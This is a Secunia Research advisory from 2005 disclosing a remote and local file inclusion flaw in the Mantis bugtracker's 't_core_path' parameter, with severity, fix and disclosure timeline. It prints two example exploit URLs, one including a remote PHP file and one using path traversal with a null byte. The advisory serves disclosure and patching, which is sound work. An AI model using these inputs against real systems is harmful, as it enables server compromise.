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Secunia Research: Mantis "t_core_path" File Inclusion Vulnerability

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                     Secunia Research 26/10/2005

         - Mantis "t_core_path" File Inclusion Vulnerability -

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Table of Contents

Affected Software....................................................1
Severity.............................................................2
Vendor's Description of Software.....................................3
Description of Vulnerability.........................................4
Solution.............................................................5
Time Table...........................................................6
Credits..............................................................7
About Secunia........................................................8
Verification.........................................................9

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1) Affected Software

Mantis 0.19.2 and 1.0.0rc2.

Other versions may also be affected.

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2) Severity

Rating: Highly critical
Impact: System access
Where:  Remote

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3) Vendor's Description of Software

Mantis is a web-based bugtracking system. It is written in the PHP 
scripting language and requires the MySQL database and a webserver.

Product link:
http://www.mantisbt.org/

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4) Description of Vulnerability

Secunia Research has discovered a vulnerability in Mantis, which can 
be exploited by malicious people to compromise a vulnerable system.

Input passed to the "t_core_path" parameter in 
"bug_sponsorship_list_view_inc.php" isn't properly verified, before 
it used to include files. This can be exploited to include arbitrary 
files from external and local resources.

Examples:
http://[host]/bug_sponsorship_list_view_inc.php?
t_core_path=http://[host]/[file].php?
http://[host]/bug_sponsorship_list_view_inc.php?
t_core_path=../../../../../../../[file]%00

Successful exploitation requires that "register_globals" is enabled 
(not recommended setting).

The vulnerability has been confirmed in versions 0.19.2 and 1.0.0rc2. 
Other versions may also be affected.

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5) Solution

Update to version 0.19.3.
http://sourceforge.net/project/showfiles.php?group_id=14963

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6) Time Table

19/09/2005 - Vulnerability discovered.
19/09/2005 - Vendor notified.
11/10/2005 - Vendor issues new version.
26/10/2005 - Public disclosure.

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7) Credits

Discovered by Andreas Sandblad, Secunia Research.

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8) About Secunia

Secunia collects, validates, assesses, and writes advisories regarding
all the latest software vulnerabilities disclosed to the public. These
advisories are gathered in a publicly available database at the
Secunia website:

http://secunia.com/

Secunia offers services to our customers enabling them to receive all
relevant vulnerability information to their specific system
configuration.

Secunia offers a FREE mailing list called Secunia Security Advisories:

http://secunia.com/secunia_security_advisories/

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9) Verification

Please verify this advisory by visiting the Secunia website:
http://secunia.com/secunia_research/2005-46/advisory/

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